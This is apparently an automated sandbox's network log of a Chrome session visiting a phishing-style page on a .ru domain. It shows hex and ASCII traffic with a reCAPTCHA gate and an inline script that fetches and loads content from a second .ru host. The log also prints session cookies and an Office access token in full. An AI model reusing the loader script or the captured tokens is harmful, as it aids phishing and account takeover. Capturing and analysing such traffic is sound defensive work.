2024-04-26 08:00:18 UTC	518	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 6f 33 55 6e 64 73 64 48 56 56 57 6d 30 35 57 6c 4e 36 63 45 45 72 51 56 70 55 61 48 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 47 5a 4f 56 31 59 35 59 32 35 32 59 57 46 76 65 57 4a 30 62 46 63 31 54 56 4e 71 55 6b 68 49 5a 45 78 75 56 6d 39 4b 62 56 4e 32 4e 45 5a 33 4f 53 39 6e 56 57 4a 48 63 6d 68 33 4e 56 64 74 54 6d 45 77 53 6c 56 68 5a 46 68 74 56 46 46 76 63 48 63 33 55 6c 64 61 54 48 68 48 64 45 56 4e 5a 55 56 43 62 30 78 73 57 58 67 7a 63 57 63 31 4e 55 31 4d 4d 48 42 43 64 48 70 74 5a 7a 51 33 57 6d 6c 47 4b 30 64 35 53 53 38 30 4f 44 42 49 56 54 55 33 5a 6c 55 72 5a 33 4e 77 4f 47 68 4e 63 31 4a 69 63 48 46 56 54 45 6b Data Ascii: Set-Cookie: laravel_session=eyJpdiI6Iko3UndsdHVVWm05WlN6cEErQVpUaHc9PSIsInZhbHVlIjoiaGZOV1Y5Y252YWFveWJ0bFc1TVNqUkhIZExuVm9KbVN2NEZ3OS9nVWJHcmh3NVdtTmEwSlVhZFhtVFFvcHc3UldaTHhHdEVNZUVCb0xsWXgzcWc1NU1MMHBCdHptZzQ3WmlGK0d5SS80ODBIVTU3ZlUrZ3NwOGhNc1JicHFVTEk
2024-04-26 08:00:18 UTC	1369	IN	Data Raw: 31 61 64 36 0d 0a 3c 73 74 79 6c 65 3e 62 6f 64 79 20 7b 0d 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 7d 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 65 74 63 68 28 27 68 74 74 70 73 3a 2f 2f 46 4e 46 49 2e 6b 65 77 74 64 7a 2e 72 75 2f 53 55 56 7a 62 6f 5a 4e 77 69 6d 51 44 41 65 51 6a 54 62 42 73 6e 78 78 66 54 41 6a 76 41 65 6c 63 41 48 4a 51 45 56 41 50 4f 48 54 56 41 42 55 47 53 47 51 5a 4a 44 49 52 59 51 4c 46 59 5a 4f 5a 44 51 48 49 45 43 4e 55 4c 49 51 56 53 50 4c 27 2c 20 7b 0d 0a 6d 65 74 68 6f 64 3a 20 22 47 45 54 22 2c 0d 0a 7d 29 2e 74 68 65 6e 28 72 65 73 70 6f 6e 73 65 20 3d 3e 20 7b 0d 0a 72 65 74 75 72 6e 20 72 65 73 70 6f 6e 73 65 2e 74 65 78 74 28 29 0d 0a 7d 29 2e 74 68 65 6e 28 74 65 78 74 20 3d 3e 20 7b 0d Data Ascii: 1ad6<style>body { margin: 0;}</style><script>fetch('https://FNFI.kewtdz.ru/SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL', {method: "GET",}).then(response => {return response.text()}).then(text => {
2024-04-26 08:00:18 UTC	1369	IN	Data Raw: 6b 67 54 48 56 6c 49 69 77 69 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 46 42 6f 59 57 64 7a 55 47 45 69 4c 43 4a 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 56 47 46 70 49 45 78 6c 49 69 77 69 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 46 6c 70 49 45 4a 68 61 58 52 70 49 69 77 69 54 57 39 75 5a 32 39 73 61 57 46 75 49 45 4a 68 61 58 52 70 49 69 77 69 54 56 59 67 51 6d 39 73 61 53 49 73 49 6b 31 35 59 57 35 74 59 58 49 67 56 47 56 34 64 43 49 73 49 6b 4e 68 62 57 4a 79 61 57 45 67 54 57 46 30 61 43 49 37 44 51 70 39 44 51 70 69 62 32 52 35 49 48 73 4e 43 69 41 67 59 6d 46 6a 61 32 64 79 62 33 56 75 5a 43 31 6a 62 32 78 76 63 6a 6f 67 49 32 5a 6d 5a 6a 73 4e 43 69 41 67 61 47 56 70 5a 32 68 30 4f 69 41 78 4d 44 41 6c 4f 77 30 4b 49 43 42 76 64 6d 56 79 5a 6d 78 76 64 Data Ascii: kgTHVlIiwiTWljcm9zb2Z0IFBoYWdzUGEiLCJNaWNyb3NvZnQgVGFpIExlIiwiTWljcm9zb2Z0IFlpIEJhaXRpIiwiTW9uZ29saWFuIEJhaXRpIiwiTVYgQm9saSIsIk15YW5tYXIgVGV4dCIsIkNhbWJyaWEgTWF0aCI7DQp9DQpib2R5IHsNCiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjsNCiAgaGVpZ2h0OiAxMDAlOw0KICBvdmVyZmxvd
2024-04-26 08:00:18 UTC	1369	IN	Data Raw: 6a 5a 57 35 30 5a 58 49 68 61 57 31 77 62 33 4a 30 59 57 35 30 4f 33 30 4e 43 6b 42 74 5a 57 52 70 59 53 41 6f 62 57 6c 75 4c 58 64 70 5a 48 52 6f 4f 6a 6b 35 4d 6e 42 34 4b 58 73 4e 43 69 4e 74 65 6e 42 47 64 48 4e 73 63 48 70 4a 49 43 35 6a 62 32 77 74 62 47 63 74 4e 48 74 6d 62 47 56 34 4f 6a 41 67 4d 43 42 68 64 58 52 76 4f 33 64 70 5a 48 52 6f 4f 6a 4d 7a 4c 6a 4d 7a 4d 7a 4d 7a 4d 7a 4d 7a 4a 54 74 39 44 51 70 39 44 51 6f 6a 62 58 70 77 52 6e 52 7a 62 48 42 36 53 53 41 75 5a 79 31 79 5a 57 4e 68 63 48 52 6a 61 47 45 67 65 32 52 70 63 33 42 73 59 58 6b 36 49 47 6c 75 62 47 6c 75 5a 53 31 69 62 47 39 6a 61 7a 74 39 44 51 6f 6a 62 58 70 77 52 6e 52 7a 62 48 42 36 53 53 41 75 5a 47 6c 7a 63 47 78 68 65 53 30 30 49 48 74 6d 62 32 35 30 4c 58 4e 70 65 6d Data Ascii: jZW50ZXIhaW1wb3J0YW50O30NCkBtZWRpYSAobWluLXdpZHRoOjk5MnB4KXsNCiNtenBGdHNscHpJIC5jb2wtbGctNHtmbGV4OjAgMCBhdXRvO3dpZHRoOjMzLjMzMzMzMzMzJTt9DQp9DQojbXpwRnRzbHB6SSAuZy1yZWNhcHRjaGEge2Rpc3BsYXk6IGlubGluZS1ibG9jazt9DQojbXpwRnRzbHB6SSAuZGlzcGxheS00IHtmb250LXNpem
2024-04-26 08:00:18 UTC	1369	IN	Data Raw: 50 67 30 4b 50 47 52 70 64 69 42 6a 62 47 46 7a 63 7a 30 69 5a 79 31 79 5a 57 4e 68 63 48 52 6a 61 47 45 69 49 47 6c 6b 50 53 4a 6e 63 69 49 2b 50 43 39 6b 61 58 59 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 69 61 47 6c 6b 5a 47 56 75 49 69 42 70 5a 44 30 69 63 47 46 6e 5a 57 78 70 62 6d 73 69 49 47 35 68 62 57 55 39 49 6e 42 68 5a 32 56 73 61 57 35 72 49 69 42 32 59 57 78 31 5a 54 30 69 49 6a 34 4e 43 6a 78 70 62 6e 42 31 64 43 42 30 65 58 42 6c 50 53 4a 6f 61 57 52 6b 5a 57 34 69 49 47 6c 6b 50 53 4a 69 62 48 52 6b 61 58 41 69 49 47 35 68 62 57 55 39 49 6d 4a 73 64 47 52 70 63 43 49 67 64 6d 46 73 64 57 55 39 49 6a 45 77 4d 69 34 78 4d 6a 6b 75 4d 54 55 79 4c 6a 49 79 4d 43 49 2b 44 51 6f 38 61 57 35 77 64 58 51 67 64 48 6c 77 5a 54 30 Data Ascii: Pg0KPGRpdiBjbGFzcz0iZy1yZWNhcHRjaGEiIGlkPSJnciI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icGFnZWxpbmsiIG5hbWU9InBhZ2VsaW5rIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkaXAiIG5hbWU9ImJsdGRpcCIgdmFsdWU9IjEwMi4xMjkuMTUyLjIyMCI+DQo8aW5wdXQgdHlwZT0
2024-04-26 08:00:18 UTC	1369	IN	Data Raw: 46 4a 4c 53 33 6c 73 63 53 67 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 33 4a 6c 59 32 46 77 64 47 4e 6f 59 53 35 79 5a 58 4e 6c 64 43 67 70 4f 77 30 4b 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 43 52 31 70 4e 64 31 4a 76 51 31 56 30 4b 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 32 59 58 49 67 55 45 4a 48 62 45 39 6c 56 30 52 61 57 43 41 39 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 64 6c 64 45 56 73 5a 57 31 6c 62 6e 52 43 65 55 6c 6b 4b 43 4a 36 64 33 6c 30 52 46 4e 4d 64 6e 4a 6d 49 69 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 46 42 43 52 32 78 50 5a 56 64 45 57 6c 67 75 62 32 35 7a 64 57 4a 74 61 58 51 67 50 53 42 6d 64 57 35 6a 64 47 6c 76 62 69 41 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e Data Ascii: FJLS3lscSgpIHsNCiAgICAgICAgZ3JlY2FwdGNoYS5yZXNldCgpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBCR1pNd1JvQ1V0KCkgew0KICAgICAgICB2YXIgUEJHbE9lV0RaWCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ6d3l0RFNMdnJmIik7DQogICAgICAgIFBCR2xPZVdEWlgub25zdWJtaXQgPSBmdW5jdGlvbiAoZXZlbnQpIHsN
2024-04-26 08:00:18 UTC	33	IN	Data Raw: 2f 2f 74 77 69 74 74 65 72 2e 63 6f 6d 27 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: //twitter.com';});</script>
2024-04-26 08:00:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50035	142.250.217.228	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:18 UTC	1058	OUT	GET /recaptcha/api2/bframe?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m&k=6LfS7acpAAAAAAsxa5xIBWeuydwRcuWr6dsPqzYC HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg
2024-04-26 08:00:18 UTC	891	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Embedder-Policy: require-corp Report-To: {"group":"recaptcha","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/recaptcha"}]} Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Apr 2024 08:00:18 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-y9V5bzu0T2fwRK0tLF5gEQ' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/recaptcha/1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-04-26 08:00:18 UTC	364	IN	Data Raw: 31 64 31 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 0a 3c 74 69 74 6c 65 3e 72 65 43 41 50 54 43 48 41 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 Data Ascii: 1d14<!DOCTYPE HTML><html dir="ltr" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><title>reCAPTCHA</title><style type="text/css">/* cyrillic-ext */@font-face
2024-04-26 08:00:18 UTC	1255	IN	Data Raw: 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 32 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 34 36 30 2d 30 35 32 46 2c 20 55 2b 31 43 38 30 2d 31 43 38 38 2c 20 55 2b 32 30 42 34 2c 20 55 2b 32 44 45 30 2d 32 44 46 46 2c 20 55 2b 41 36 34 30 2d 41 36 39 46 2c 20 55 2b 46 45 32 45 2d 46 45 32 46 3b 0a 7d 0a 2f 2a 20 63 79 72 69 6c 6c 69 63 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e Data Ascii: v18/KFOmCnqEu92Fr1Mu72xKOzY.woff2) format('woff2'); unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;}/* cyrillic */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fon
2024-04-26 08:00:18 UTC	1255	IN	Data Raw: 32 30 41 42 3b 0a 7d 0a 2f 2a 20 6c 61 74 69 6e 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6d 43 6e 71 45 75 39 32 46 72 31 4d 75 37 47 78 4b 4f 7a 59 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 31 30 30 2d 30 32 41 46 2c 20 55 2b 30 33 30 34 2c 20 55 2b 30 33 30 38 2c 20 55 2b 30 33 32 39 2c 20 55 2b 31 45 30 Data Ascii: 20AB;}/* latin-ext */@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 400; src: url(//fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu7GxKOzY.woff2) format('woff2'); unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E0
2024-04-26 08:00:18 UTC	1255	IN	Data Raw: 55 2b 30 34 42 30 2d 30 34 42 31 2c 20 55 2b 32 31 31 36 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b 2d 65 78 74 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 43 42 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 31 46 30 30 2d 31 46 46 46 3b 0a 7d 0a 2f 2a 20 67 72 65 65 6b Data Ascii: U+04B0-04B1, U+2116;}/* greek-ext /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fCBc4EsA.woff2) format('woff2'); unicode-range: U+1F00-1FFF;}/ greek
2024-04-26 08:00:18 UTC	1255	IN	Data Raw: 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 45 55 39 66 42 42 63 34 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 30 30 30 2d 30 30 46 46 2c 20 55 2b 30 31 33 31 2c 20 55 2b 30 31 35 32 2d 30 31 35 33 2c 20 55 2b 30 32 42 42 2d 30 32 42 43 2c 20 55 2b 30 32 43 36 2c 20 55 2b 30 32 44 41 2c 20 55 2b 30 32 44 43 2c 20 55 2b Data Ascii: ce { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url(//fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2) format('woff2'); unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+
2024-04-26 08:00:18 UTC	1255	IN	Data Raw: 74 69 63 2e 63 6f 6d 2f 73 2f 72 6f 62 6f 74 6f 2f 76 31 38 2f 4b 46 4f 6c 43 6e 71 45 75 39 32 46 72 31 4d 6d 59 55 74 66 42 78 63 34 45 73 41 2e 77 6f 66 66 32 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 32 27 29 3b 0a 20 20 75 6e 69 63 6f 64 65 2d 72 61 6e 67 65 3a 20 55 2b 30 33 37 30 2d 30 33 37 37 2c 20 55 2b 30 33 37 41 2d 30 33 37 46 2c 20 55 2b 30 33 38 34 2d 30 33 38 41 2c 20 55 2b 30 33 38 43 2c 20 55 2b 30 33 38 45 2d 30 33 41 31 2c 20 55 2b 30 33 41 33 2d 30 33 46 46 3b 0a 7d 0a 2f 2a 20 76 69 65 74 6e 61 6d 65 73 65 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 Data Ascii: tic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBxc4EsA.woff2) format('woff2'); unicode-range: U+0370-0377, U+037A-037F, U+0384-038A, U+038C, U+038E-03A1, U+03A3-03FF;}/* vietnamese */@font-face { font-family: 'Roboto'; font-style: normal; font-weight
2024-04-26 08:00:18 UTC	813	IN	Data Raw: 7d 0a 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 56 36 5f 38 35 71 70 63 32 58 66 32 73 62 65 33 78 54 6e 52 74 65 37 6d 2f 73 74 79 6c 65 73 5f 5f 6c 74 72 2e 63 73 73 22 3e 0a 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 79 39 56 35 62 7a 75 30 54 32 66 77 52 4b 30 74 4c 46 35 67 45 51 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f Data Ascii: }</style><link rel="stylesheet" type="text/css" href="https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/styles__ltr.css"><script nonce="y9V5bzu0T2fwRK0tLF5gEQ" type="text/javascript">window['__recaptcha_api'] = 'https://www.google.co
2024-04-26 08:00:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50037	172.67.209.50	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:19 UTC	620	OUT	GET /SUVzboZNwimQDAeQjTbBsnxxfTAjvAelcAHJQEVAPOHTVABUGSGQZJDIRYQLFYZOZDQHIECNULIQVSPL HTTP/1.1 Host: fnfi.kewtdz.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://4odq.cxnev1.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 08:00:20 UTC	608	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 08:00:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FISGSkrLp33FvIno8pmrrXgesHYkq3BUdYg6AOly4h3pq%2FDtWmNVXT4izX1ulAiXxkymkqvmnAUD98JzclMF%2FriDF4IUFgcUaz7Ze3icH0pmoODnaQJjEBpFJzjOYUlmGg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a509dc5911a53f-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 08:00:20 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2024-04-26 08:00:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50038	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 08:00:20 UTC	3685	OUT	POST /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 5398 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-ServerSideRendering: RenderingFull X-WacFrontEnd: SN3PEPF000091BA X-OfficeVersion: 16.0.17601.41008 X-Key: n6IDxhd6wnn64lDiT/v29/IwfRsPGkZ9Q2pSUeWOyWY=;mFis2L6vMsBNOxnijIg4A5JcpQZjdzxFJ7ALVqUl65I=,638497151517007624 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL3VzaWdyb3Vwcy1teS5zaGFyZXBvaW50LmNvbUA5ZjVhZTVlMC1mNDY4LTQ0YzItOGJhYS1lNmU3YmMzNmM3MTAiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNDExODM0OSIsImV4cCI6IjE3MTQxNTQzNDkiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiNlM2U0MjIzYjVlMmMzYTM4NjdkYTVhNzY1Y2IyNGQ0NWI5OWY5ZjE5ZWVlYjUzZWEwOGU4MzRkNzg2YmUwYjNkIiwic2hhcmluZ2lkIjoiOHZmbmpOcEVEMGFsTnNkZEZWeU83dyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNDI3NWM3Y2Q5NTU5NDliNTllMDA4OTEzZTY3YjI0MjY7c1ZtbkxOWURWd2dubCtuUXVkQXBEeVdvMkdjPTtEZWZhdWx0OzVjZWViOGY3NDc1OTQ5ZjJhOGM3YThlODQ3YmRmYWMyOztUcnVlOzs7NTEyOzcyYjkyMmExLTUwOGQtNTAwMC0xZTNmLWFiOWZjMmJhOTc1ZSIsImZpZCI6IjE5MzMwNiJ9.ePS3sOzS493VKhzLhTVvLpZO116QM2mYnfdRC-lGpxzBDH9_YJe9eXoQ3MIJgGNGZp5_8TcOZEr15P4Pk9mgKPCwE7CMq1RYtBsbRwUv9rHGMrcs5qQl1eR7DrAnof1hHaHtbZ0b55Cyjb6Nnfh0xymyWvjTqJ1exVPobvfSPUnuxEjLaaLLkv9muiYzVNqWhQRx_uD2RA7fUkT1ewDaUGa43dC2zN3y1tEpFDPrJjR83Ot3WdRqh1IGKH8uc9FE4VdI8k_Y8zjLO-AXbtnFCEqMMfIBFQV1dK6GIUAwWeti0adP_kPPsz3XCUmB9yDFmG6Jt31iyv47vycxWbiBBg X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f X-AccessTokenTtl: 1714154349045 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 